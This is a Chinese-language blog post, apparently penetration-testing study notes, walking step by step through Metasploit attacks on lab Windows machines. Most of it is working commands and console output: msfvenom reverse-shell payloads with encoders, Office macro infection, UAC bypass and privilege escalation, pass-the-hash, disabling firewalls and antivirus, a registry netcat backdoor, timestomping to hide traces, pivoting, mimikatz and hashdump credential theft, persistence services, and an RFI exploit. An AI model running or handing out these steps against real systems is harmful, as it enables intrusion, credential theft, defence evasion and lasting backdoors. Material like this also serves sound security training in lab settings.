     
    4. windows上访问http://192.168.214.150/2.exe
    
    5. window上执行
    
    6.  msf5 > use exploit/multi/handler //msf上使用这个模块
    
    7. msf5 exploit(multi/handler) > set payload windows/shell/reverse_tcp//添加这个payload
    
    8. msf5 exploit(multi/handler) > set lHOST 192.168.214.150//设置为本机地址,即shell反弹到我们的kali上
    
    9. 获取到shell msf5 exploit(multi/handler) > exploit 
    
    [*] Started reverse TCP handler on 192.168.214.150:4444 
    [*] Encoded stage with x86/shikata_ga_nai
    [*] Sending encoded stage (267 bytes) to 192.168.214.132
    [*] Command shell session 1 opened (192.168.214.150:4444 -> 192.168.214.132:49524) at 2020-02-29 21:16:56 +0800
    
    
    
    C:Users
    ootDesktop>ipconfig
    
    

    利用Acrobat Reader漏洞执行payload:
    msf5 > use exploit/windows/fileformat/adobeutilprintf
    set payload windows/meterpreter/reverse
    tcp
    生成一个payload 切换到use exploit/multi/handler
    使用payload:set payload windows/meterpreter/reversetc
    使用post模块记录:run post/windows/capture/keylogrecoder
    利用FLASH插件漏洞执行payload:use exploit/multi/browser/ adobe
    flash
    hackingteamvaf;use exploit/multi/browser/ adobe_flashopaquebackgrounduaf;use auxiliary/server/ browserautopwn2
    利用IE浏览器漏洞执行payload:use exploitwindows/browser/ ms14
    064
    olecodeexcution

    利用jre漏洞执行payload

    use exploit/multi/browser/javajre17drivermanager
    use exploit/multi/browser/javajre17jmxbean
    use exploit/multi/browser/java
    jre17reflectiontypes

    生成android后门程序

    use payload/android/meterpreter/reverse_tcp

    VBScript感染方式

    利用宏感染word,excel文档,绕过某些基于文件类型检查的安全机制,生成vvbscript脚本:msfvenom -a x86 --platform windows -p windows/meterpreter/reversetcp LHOST=192.168.214.150 LPORT=4444 -e x86/shikataganai -f vba-exe然后在office当中创建宏,MSF启动侦听:use exploit/multi/handler;set payload windows/meterpreter/reversetcp

    metesploit后渗透测试阶段

    已经获得目标系统控制权后扩大战果:
    提权;信息搜集;渗透内网;永久后门
    基于已有session扩大战果:msfvenom -a x86 --platform windows -p windows/meterpreter/reversetcp LHOST=192.168.214.150 LPORT=4444 -e x86/shikataga_nai -f exe -o 1.exe

    进一步获取system权限

    可以看到我们现在是没有system权限的,因为UAC 限制。

    meterpreter > getsystem 
    [-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
    [-] Named Pipe Impersonation (In Memory/Admin)
    [-] Named Pipe Impersonation (Dropper/Admin)
    [-] Token Duplication (In Memory/Admin)
    meterpreter > load priv
    [-] The 'priv' extension has already been loaded.
    

    绕过UAC限制方法1
    1. 使用模块 use exploit/windows/local/ask //基于已有session情况下
    2. set payload windows/meterpreter/reverse_tcp //设置payload
    3. set lhost 192.168.214.150 //设置侦听
    4. set filename qq.exe //设置执行的文件名称(具有一定欺骗性)
    5. set session 1 //设置session
    6. 此时我们获得的新的session已经经过了UAC允许的meterpreter的shell

      
    meterpreter > getsystem   
    ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
    

    绕过UAC限制方法2: 1. 使用模块 use exploit/windows/local/bypassuac 2. set session 1 3. set payload windows/meterpreter/reversetcp 4. set lhost 192.168.214.150 5. exploit 此时不会像方法1一样弹出请求而自动获得system。 绕过UAC限制方法3: 1. use exploit/windows/local/bypassuacinjection 2. set payload windows/meterpreter/reverse_tcp 3. set session 1 4. set lhost 192.168.214.150 5. exploit

    利用漏洞提升权限
    1. msf5 > use exploit/windows/local/ms13053schlamperei
    2. msf5 > use exploit/windows/local/ms13081trackpopupmenu
    3. msf5 > use exploit/windows/local/ms12097ieregistrysymlink
    4. use exploit/windows/local/pprflattenrec
    Psexec模块之PASSTHEHASH

    获取了system权限后获得了账号和密码以及hash值我们可以使用以下模块 use exploit/windows/smb/psexec set smbpass hash 但我们需要提前关闭UAC,进入到操作系统然后修改注册表关闭UAC,否则无法登陆成功。

    关闭防火墙
    • 需要管理员或system权限
    • 进入到powershell下执行:netsh advfirewall set allprofiles state on
    关闭windefend
    • net stop windefend
    Bitlocker磁盘加密
    • manage-bde -off C;
    • manage-bde -status C ;//查看状态
    关闭DEP
    • bcdedit.exe /set {current} nx AlwaysOff
    杀死防病毒软件

    在meterpreter下执行:run killav run post/windows/manage/killav

    开启远程桌面服务

    在meterpreter下执行:run post/windows/manage/enable_rdp - run getgui -e - run getgui -u username -p pass

    查看远程桌面
    • screenshot
    • use espia//加载插件
    • screengrab截屏
    Tokens

    用户每次登陆,账号绑定临时的token
    访问资源时提交Token进行身份验证
    - Delegate Tokem:交互登录会话
    - impersonate Token:非交互登录会话
    - Delegate Token账号注销后变为impersonate Token权限依然有效//这样我们可以获得管理员的token

    Incognito

    独立功能软件,被MSF集成在meterpreter中
    无需密码破解或获取密码HASH,窃取token将自己伪装成其他用户
    尤其适用于域环境下提权渗透多操作系统
    load incognito
    - listtokens -u //查看当前用户
    - impersonate
    token_labadministrator
    - 运行以上命令需要getsystem
    - 本地普通权限用户需先本地提权
    - use exploit/windows/loacl/ms10015kitrap0d - execute -f cmd.exe -i -t //-t 使用当前假冒token执行程序
    - shell //添加新用户net user a a /add

    注册表

    注册表保存着windows几乎全部配置参数
    - 修改不当,可以直接造成系统崩溃
    - 些改签完整备份注册表
    - 某些注册表的修改是不可逆的
    常见用途:修改,增加启动项
    - 窃取存于注册表中的机密信息
    - 绕过文件型病毒查杀
    upload /usr/share/windows-binaries/nc.exe C:windowssystem32
    reg enumkey -k //枚举当前注册表中内容
    HKLMsoftwaremicrosoftwindowscurrentversion un
    reg setval -k HKLMsoftwaremicrosoftwindowscurrentversion un -v nc -d 'C:windowssystem32 c.exe -Ldp 444 -e cmd.exe' //-v 插入的名字 -d:放入的指令数据 -e执行cmd ,-d 静默执行 ,-L 侦听端口,有人来连,就把cmd交出,断开后端口依然侦听
    reg queryval -k
    HKLMsoftwaremicrosoftwindowscurrentversion un -v nc //查询一下,验证子健是否被插入成功

    打开防火墙端口&改变防火墙策略的(meterpreter)
    • execute -f cmd -i -H //-h隐蔽的方式,-i 弹出cmd
    • netsh firewall show opmode //查看防火墙状态
    • net frrewall add portopening TCP 444 "策略名" ENABLE ALL
    • 重启以执行nc策略shutdown -r -f -t 0
    信息搜集

    抓包(meterpreter):load sniffer;sniffer——interfaces;snifferstart2;snifferdump 1.cap;在内存中个缓冲区循环存储抓包,不写硬盘;只能过滤meterpreter流量;全程使用ssl/tls加密。
    解码:use auxiliary/sniffer/psnuffle;set PCAPFILE 1.cap

    文件搜集

    搜索文件:search -f *.ini //搜索所有ini类型文件

    破解弱口令

    use post/windows/gather/hashdump ##需要system权限 run //结果保存在/tmp目录下 use auxiliary/analyze/jtrcrackfast stat 1.txt;touch -d “5 days ago” 1.txt 对文件时间进行修改

    root@kali:~# stat 3.txt 
      文件:3.txt
      大小:37              块:8          IO 块:4096   普通文件
    设备:801h/2049d        Inode:1979841     硬链接:1
    权限:(0644/-rw-r--r--)  Uid:(    0/    root)   Gid:(    0/    root)
    最近访问:2020-02-28 16:37:50.186301464 +0800
    最近更改:2020-02-28 16:37:36.594301326 +0800
    最近改动:2020-02-28 16:37:36.594301326 +0800
    创建时间:-
    root@kali:~# touch -d "2 days ago" 3.txt 
    root@kali:~# stat 3.txt 
      文件:3.txt
      大小:37              块:8          IO 块:4096   普通文件
    设备:801h/2049d        Inode:1979841     硬链接:1
    权限:(0644/-rw-r--r--)  Uid:(    0/    root)   Gid:(    0/    root)
    最近访问:2020-02-29 16:21:23.819854388 +0800
    最近更改:2020-02-29 16:21:23.819854388 +0800
    最近改动:2020-03-02 16:21:23.814019733 +0800
    创建时间:-
    

    MACE:MTF entry - MTF:NTFS文件系统的主文件分配表master file table,包含文件大量信息,更多信息可研究,文件系统取证分析技术。 - modified,accessed,created,entry modified时间都是可以修改的:timestomp -m/-a/-c/-e/-z "时间点" 文件名 - timestomp-z "month/days/year hour:min:sec" 文件名

    pivoting跳板/支点/枢纽

    利用已经控制的一台计算机作为入侵内网的跳板
    在其让内网计算机看来访问全部来自于跳板机。
    在国内很多时候我们是没有自己的外部ip的,一般我们的请求都会先返回哦给我们的外部设备然后再通过流量映射返回给我们内部网段。
    1. msfconsole -p windows/meterpreter/reversetcp LHOST=外部防火墙ip地址 LPORT=4444外部端口 -a x86 --platform windows -b"x00xff" -e x86/shikataganai -f exe -o a.exe
    2. kali上使用模块use exploit/multi/handler,set payload windows/meterpreter/reverse
    tcp,set lhost 192.168.214.150//设置为msf本机,即kali上
    3. 此时我们控制了内网机器win7,我们开始向xp发起攻击。
    4. run autoroute -s 目标网段IP地址 //添加路由,基于这个session跳板,想要去这个网段就基于当前的session。
    5. 扫描内网网段:use auxiliary/scanner/portscan/tcp ,扫描网段的139,445端口
    6. 对内网机器发现后攻击,此时侦听地址为内网的win7地址,进行攻击,获取shell。

    pivoting之端口转发portfwd

    利用已经被控计算机,在kali与攻击目标之间实现端口转发
    - portfwd add -L LIP//本地kali侦听ip -L LPORT -r RIP//远程的要攻击的机器 -p RPORT
    - portfwd list/delete/flush

    set exitonsession false

    我们获得了shell后一般情况下想再获得一个session要重复exploit,但我们使用set exitonsession false就可以持续不断的进行侦听。

    POST模块

    发生在我们获得一台机器的控制权之后 run post/windows/gather/arpscanner RHOSTS=1.1.1.0/24 //内网进行arp方式的扫描
    run post/windows/gather/chexkvm //发现是否是一台虚拟机
    run post/windows/gather/credentials/credential
    collector //身份验证信息
    run post/windows/gather/enumapplication //查看安装软件信息
    run post/windows/gather/enumsnmp //查看目标机器snmp相关配置
    run post/windows/gather/enum
    logged
    onusers //当前登录哦用户
    run post/windows/gather/env //了解当前系统变量环境信息
    run post/multi/recon/local
    exploit_suggester //检查本地提权的漏洞,从而进行提权
    run post/windows/manage/deleteuser USERNAME=yuanfh //删除账号
    run post/windows/gather/firefox
    creds //获取火狐账号密码信息
    migrate -n 指定文件名 //迁移到指定文件
    自动迁移:在handler模块当中我们可以:set autorunscript migrate -N 文件名
    set AutoRunScript post/windows/gather/dumplinks 收集当前用户信息,注意一定要在目标用户的进程下 这个时候我们可以使用Initialautorunscript模块自动运行脚本:
    set Initialautorunscript migrate -n explorer.exe
    set AutoRunScript post/windows/gather/dumplinks
    自动执行meterpreter脚本,自动执行post模块
    run hostsedit -e 1.1.1.1 www.baidu.com //情况dns的缓存修改目标机器的访问固定网站的ip

    持久后门

    利用漏洞取得的meterpreter shell运行在内存当中,重启就会失效。
    重复exploit漏洞可能造成服务崩溃
    持久后门保证漏洞修复后让可以远程控制
    run metsvc -A

    meterpreter > run metsvc -A  
    
    [!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
    [!] Example: run exploit/windows/local/persistence OPTION=value [...]
    [*] Creating a meterpreter service on port 31337
    [*] Creating a temporary installation directory C:Users
    ootAppDataLocalTempsLERVzBi...
    [*]  >> Uploading metsrv.x86.dll...
    [*]  >> Uploading metsvc-server.exe...
    [*]  >> Uploading metsvc.exe...
    [*] Starting the service...
             * Installing service metsvc
     * Starting service
    Service metsvc successfully installed.
    

    直接连接会被拒绝
    root@kali:~# nc 192.168.214.132 31337
    Ncat: Connection reset by peer.
    退回来使用模块:set payload windows/metsvcbindtcp
    配置后使用exploit

    持久后门2

    run persistence
    -X //meterpreter的agent程序在操作系统重启时继续连接
    使用默认shell为反弹shell
    -r 反弹连接ip即kali的ip
    Server username: NT AUTHORITYSYSTEM
    meterpreter > run persistence -X -r 192.168.214.150 -p 4444 -i 5
    //-i延迟几秒
    此时当我们的win7靶机进行重启,当我们exploit后依然获得了shell

    msf5 exploit(multi/handler) > exploit
    
    [*] Started reverse TCP handler on 192.168.214.150:4444 
    [*] Sending stage (180291 bytes) to 192.168.214.132
    [*] Meterpreter session 7 opened (192.168.214.150:4444 -> 192.168.214.132:49160) at 2020-03-03 16:40:51 +0800
    
    msf之mimikatz

    meterpreter > load mimikatz
    meterpreter > help
    meterpreter > msv 获取的是hash值
    meterpreter > ssp 获取的是明文信息 meterpreter > wdigest 读取内存中存放的账号密码明文信息
    meterpreter > kerberos
    meterpreter > mimikatzcommand -f a:: 输入一个错误的模块,可以列出所有模块 meterpreter > mimikatzcommand -f samdump:: 可以列出samdump的子命令
    meterpreter > mimikatz_command -f samdump::hashes
    meterpreter > mimikatzcommand -f handle::list 列出应用进程
    meterpreter > mimikatz
    command -f service::list 列出服务

    RFI远程文件包含
    • use exploit/unix/webapp/php_include
    • set RHOST 192.168.214.111
    • set PATH /dvwa/vulnerabilities/fi/
    • set PHPURI/?page=XXpathXX //此处就默认XXpathXX即可,这是默认的,msf会为我们分配一个地址
    • set HEADERS "Cookie"
    • set payload php/meterpreter/reverse_tcp
    • set lhost 1.1.1.1
    • exploit
  • 相关阅读:
    winform+c#之窗体之间的传值 Virus
    ASP.NET 2.0 利用 checkbox获得选中行的行号, 在footer中显示 Virus
    .NET中的winform的listview控件 Virus
    我的书橱
    Expert .NET 2.0 IL Assembler·译者序一 写在一稿完成之即
    Verbal Description of Custom Attribute Value
    AddressOfCallBacks in TLS
    下一阶段Schedule
    2008 Oct MVP OpenDay 第二天 博客园聚会
    2008 Oct MVP OpenDay 第二天 颁奖·讲座·晚会
  • 原文地址:https://www.cnblogs.com/ophxc/p/12559303.html
Copyright © 2011-2022 走看看